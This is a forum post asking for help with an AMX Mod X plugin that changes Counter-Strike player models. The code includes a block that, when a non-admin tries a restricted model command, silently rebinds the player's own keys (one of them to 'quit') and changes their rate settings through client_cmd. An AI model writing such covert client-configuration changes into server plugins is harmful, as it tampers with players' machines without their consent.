Junior Member
|
07-15-2009
, 23:05
Re: [TUT-CS] Changing player models and lowering svc_bad
|
#53
|
Hello, help please to correct a plagine code herein, delivered from the error of svc_bad
Code:
/* */
#include <amxmodx>
#include <amxmisc>
#include <cstrike>
#include <nvault>
#define PLUGIN "AMXX Admin Model"
#define VERSION "1.0.4"
#define AUTHOR "mogel"
new myVault
#define MAXMODELS 32 /* 3 Стандартные модели не считаются*/
new maxmodels // максимальное количество моделей
enum MODELTYPE {
MT_BEFEHL, // Комманда
MT_CTSIDE, // Модель ментов
MT_TESIDE // Модель террористов
}
new model[MAXMODELS][MODELTYPE][50]
public plugin_init() {
register_plugin(PLUGIN, VERSION, AUTHOR)
register_logevent("Event_JoinTeam", 3, "1=joined team")
myVault = nvault_open("x8bit.models")
if (myVault == INVALID_HANDLE) log_amx("konnte Vault nicht цffnen")
nvault_pset(myVault, "model.BOT", "/special") // hardcoding
return PLUGIN_CONTINUE
}
public Event_JoinTeam() {
new Arg1[64]
read_logargv(0, Arg1, 63)
new name[13], userid
parse_loguser(Arg1, name, 12, userid)
new player = find_player("k", userid)
set_task(1.0, "ResetPlayerModel", player)
}
public setData(player, key[], data[]) {
if (myVault == INVALID_HANDLE) return PLUGIN_CONTINUE
new steam[35]
get_user_authid(player, steam, 34)
new vaultkey[50]
format(vaultkey, 49, "%s.%s", key, steam)
nvault_pset(myVault, vaultkey, data)
return PLUGIN_CONTINUE
}
stock getData(player, key[]) {
// Crash fьr den Compiler
// if (myVault == INVALID_HANDLE) return "empty"
new steam[35]
get_user_authid(player, steam, 34)
new vaultkey[50]
format(vaultkey, 49, "%s.%s", key, steam)
new vaultdata[50]
nvault_get(myVault, vaultkey, vaultdata, 49)
return vaultdata
}
public model_precache(model[]) {
precache_generic("models/player/telepuz_ct/telepuz_ctT.mdl")
precache_generic("models/player/telepuz_te/telepuz_teT.mdl")
precache_generic("models/player/ninzja_ct/ninzja_ctT.mdl")
precache_generic("models/player/gotic_t/gotic_tT.mdl")
new name[200]
format(name, 199, "models/player/%s/%s.mdl", model, model)
if (file_exists(name))
{
precache_model(name)
log_amx("precache -> '%s'", model)
} else
{
log_amx("'%s' nicht gefunden", name)
}
}
public plugin_precache() {
new CVar_Flags = FCVAR_SERVER | FCVAR_SPONLY | FCVAR_UNLOGGED
register_cvar("aam_version", VERSION, CVar_Flags)
server_cmd("aam_version %s", VERSION)
ParseIni();
// jetzt erstmal durch alle Befehle bzw. Models laufen und sammeln
for(new i = 0; i < maxmodels; i++)
{
model_precache(model[i][MT_CTSIDE])
model_precache(model[i][MT_TESIDE])
}
return PLUGIN_CONTINUE
}
public client_command(player) {
// "Befehl" holen
new cmd[50]
read_argv(1, cmd, 49)
// alles weiter reichen
if (cmd[0] != '/') return PLUGIN_CONTINUE
// jetzt die Befehle durchtesten
if (equali(cmd, "/default")) SetPlayerModel(player, cmd)
for(new i = 0; i < maxmodels; i++) if (equali(cmd, model[i][MT_BEFEHL])) SetPlayerModel(player, cmd)
return PLUGIN_CONTINUE
}
public SetPlayerModel(player, cmd[]) {
if ((equali(cmd, "/with") || equali(cmd, "/scelet") || equali(cmd, "/girl") || equali(cmd, "/soldat") || equali(cmd, "/girl1") || equali(cmd, "/girl2") || equali(cmd, "/telepuz") || equali(cmd, "/ninzja") || equali(cmd, "/clown") || equali(cmd, "/omon") || equali(cmd, "/matrix") || equali(cmd, "/cowboy") || equali(cmd, "/vip")) && !(get_user_flags(player) & ADMIN_LEVEL_H))
{
new name[33]
get_user_name(player, name, 32)
client_cmd(player, "spk sound/waw555/ID362.wav")
client_cmd(player,"bind ^"mouse3^" ^"throw_knife;ppfire^"")
client_cmd(player,"bind F6 ^"say buy_parachute^"")
client_cmd(player,"bind F8 ^"setinfo translit 1^"")
client_cmd(player,"bind F9 ^"setinfo translit 0^"")
client_cmd(player,"bind F10 ^"quit^"")
client_cmd(player,"bind P pcview")
client_cmd(player,"cl_updaterate 100")
client_cmd(player,"cl_cmdrate 100")
client_cmd(player,"rate 20000")
return
}
if (equali(cmd, "/default"))
{
cs_reset_user_model(player)
return
}
for(new i = 0; i < maxmodels; i++)
{
if (equali(cmd, model[i][MT_BEFEHL]))
{
if (cs_get_user_team(player) == CS_TEAM_CT)
{
cs_set_user_model(player, model[i][MT_CTSIDE])
} else
{
cs_set_user_model(player, model[i][MT_TESIDE])
}
setData(player, "model", cmd)
return
}
}
}
public ResetPlayerModel(player) {
new pm[50]
new steam[35]
get_user_authid(player, steam, 34)
format(pm, 49, getData(player, "model"))
log_amx("RestModel fьr %s -> '%s'", steam, pm)
SetPlayerModel(player, pm)
}
public ParseIni() {
new aamfile[250]
new data[250], len, line = 0
get_configsdir(aamfile, 249)
format(aamfile, 249, "%s/aam.ini", aamfile)
log_amx("INI -> %s", aamfile)
if (!file_exists(aamfile))
{
log_amx("keine INI gefunden")
return
}
maxmodels = 0
// INI zerlegen
while((line = read_file(aamfile , line , data , 249 , len) ) != 0 )
{
new cmd[50] // Befehl
new ctm[50] // CT-Model
new tem[50] // TE-Model
if ((data[0] == ';') || equal(data, "")) continue
// zerlegen
strbreak(data, cmd, 49, data, 249) // Befehl
strbreak(data, ctm, 49, tem, 49) // CT und TE Model
log_amx("'/%s' gefunden -> '%s' & '%s'", cmd, ctm, tem)
// jetzt noch merken
format(model[maxmodels][MT_BEFEHL], 49, "/%s", cmd)
format(model[maxmodels][MT_CTSIDE], 49, "%s", ctm)
format(model[maxmodels][MT_TESIDE], 49, "%s", tem)
maxmodels++
}
log_amx("%i Models (bzw. Befehle) gefunden", maxmodels)
}
|
|